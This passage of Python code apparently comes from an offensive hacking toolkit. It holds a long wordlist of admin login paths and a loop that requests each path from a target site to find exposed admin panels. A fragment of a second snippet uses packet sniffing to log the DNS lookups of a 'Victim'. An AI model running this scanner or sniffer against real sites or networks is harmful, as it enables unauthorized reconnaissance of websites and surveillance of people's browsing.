                   'admincontrol/login.html', 'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.cgi',
                   'account.html', 'controlpanel.html', 'admincontrol.html',
                   'panel-administracion/login.cgi', 'wp-login.cgi', 'adminLogin.cgi', 'admin/adminLogin.cgi',
                   'home.cgi',
                   'admin.cgi', 'adminarea/index.cgi',
                   'adminarea/admin.cgi', 'adminarea/login.cgi', 'panel-administracion/index.cgi',
                   'panel-administracion/admin.cgi', 'modelsearch/index.cgi',
                   'modelsearch/admin.cgi', 'admincontrol/login.cgi', 'adm/admloginuser.cgi', 'admloginuser.cgi',
                   'admin2.cgi', 'admin2/login.cgi', 'admin2/index.cgi', 'usuarios/login.cgi',
                   'adm/index.cgi', 'adm.cgi', 'affiliate.cgi', 'adm_auth.cgi', 'memberadmin.cgi',
                   'administratorlogin.cgi',
                   'admin/', 'administrator/', 'admin1/', 'admin2/', 'admin3/', 'admin4/', 'admin5/', 'usuarios/',
                   'usuario/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/',
                   'admin_area/', 'panel-administracion/', 'instadmin/',
                   'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.brf', 'admin/index.brf',
                   'admin/login.brf',
                   'admin/admin.brf', 'admin/account.brf',
                   'admin_area/admin.brf', 'admin_area/login.brf', 'siteadmin/login.brf', 'siteadmin/index.brf',
                   'siteadmin/login.html', 'admin/account.html', 'admin/index.html', 'admin/login.html',
                   'admin/admin.html',
                   'admin_area/index.brf', 'bb-admin/index.brf', 'bb-admin/login.brf', 'bb-admin/admin.brf',
                   'admin/home.brf', 'admin_area/login.html', 'admin_area/index.html',
                   'admin/controlpanel.brf', 'admin.brf', 'admincp/index.asp', 'admincp/login.asp',
                   'admincp/index.html',
                   'admin/account.html', 'adminpanel.html', 'webadmin.html',
                   'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 'admin/admin_login.html',
                   'admin_login.html', 'panel-administracion/login.html',
                   'admin/cp.brf', 'cp.brf', 'administrator/index.brf', 'administrator/login.brf',
                   'nsw/admin/login.brf',
                   'webadmin/login.brfbrf', 'admin/admin_login.brf', 'admin_login.brf',
                   'administrator/account.brf', 'administrator.brf', 'acceso.brf', 'admin_area/admin.html',
                   'pages/admin/admin-login.brf', 'admin/admin-login.brf', 'admin-login.brf',
                   'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html',
                   'login.brf',
                   'modelsearch/login.brf', 'moderator.brf', 'moderator/login.brf',
                   'moderator/admin.brf', 'account.brf', 'pages/admin/admin-login.html', 'admin/admin-login.html',
                   'admin-login.html', 'controlpanel.brf', 'admincontrol.brf',
                   'admin/adminLogin.html', 'adminLogin.html', 'admin/adminLogin.html', 'home.html',
                   'rcjakar/admin/login.brf', 'adminarea/index.html', 'adminarea/admin.html',
                   'webadmin.brf', 'webadmin/index.brf', 'webadmin/admin.brf', 'admin/controlpanel.html',
                   'admin.html',
                   'admin/cp.html', 'cp.html', 'adminpanel.brf', 'moderator.html',
                   'administrator/index.html', 'administrator/login.html', 'user.html', 'administrator/account.html',
                   'administrator.html', 'login.html', 'modelsearch/login.html',
                   'moderator/login.html', 'adminarea/login.html', 'panel-administracion/index.html',
                   'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html',
                   'admincontrol/login.html', 'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.brf',
                   'account.html', 'controlpanel.html', 'admincontrol.html',
                   'panel-administracion/login.brf', 'wp-login.brf', 'adminLogin.brf', 'admin/adminLogin.brf',
                   'home.brf',
                   'admin.brf', 'adminarea/index.brf',
                   'adminarea/admin.brf', 'adminarea/login.brf', 'panel-administracion/index.brf',
                   'panel-administracion/admin.brf', 'modelsearch/index.brf',
                   'modelsearch/admin.brf', 'admincontrol/login.brf', 'adm/admloginuser.brf', 'admloginuser.brf',
                   'admin2.brf', 'admin2/login.brf', 'admin2/index.brf', 'usuarios/login.brf',
                   'adm/index.brf', 'adm.brf', 'affiliate.brf', 'adm_auth.brf', 'memberadmin.brf',
                   'administratorlogin.brf']
         print_process("Started admin finder for {} at {}".format(self.site, src.source.use.time.strftime("%H:%M:%S")))
         try:
             for admin in admin_path:
                 admin = admin.replace("\n", "")
                 admin = "/" + admin
                 connection = src.source.use.httplib.HTTPConnection(site_target)
                 connection.request("GET", admin)
                 response = connection.getresponse()
                 code = response.status
                 if code == 200:
                     print_process("admin page found on {} of host {}".format(
                         admin, self.site
                     ))
                 else:
                     print_warning("admin page not found {} of host {}".format(
                         admin, self.site
                     ))
         except src.source.use.httplib.NotConnected as time_out:
             print_error(str(time_out))
         except KeyboardInterrupt:
             print_error("Exiting... Interrupt (Ctrl+C)")
             src.source.use.time.sleep(0.6)
     except IOError as error:
         print_error(str(error))
示例#17
0
 def dns_handler(self, pkt):
     if pkt.haslayer(DNS) and pkt.getlayer(DNS).qr == 0:
         print_process("Victim: {ip} has searched for: {site}".format(
             ip=self.ip_address, site=pkt.getlayer(DNS).qd.name))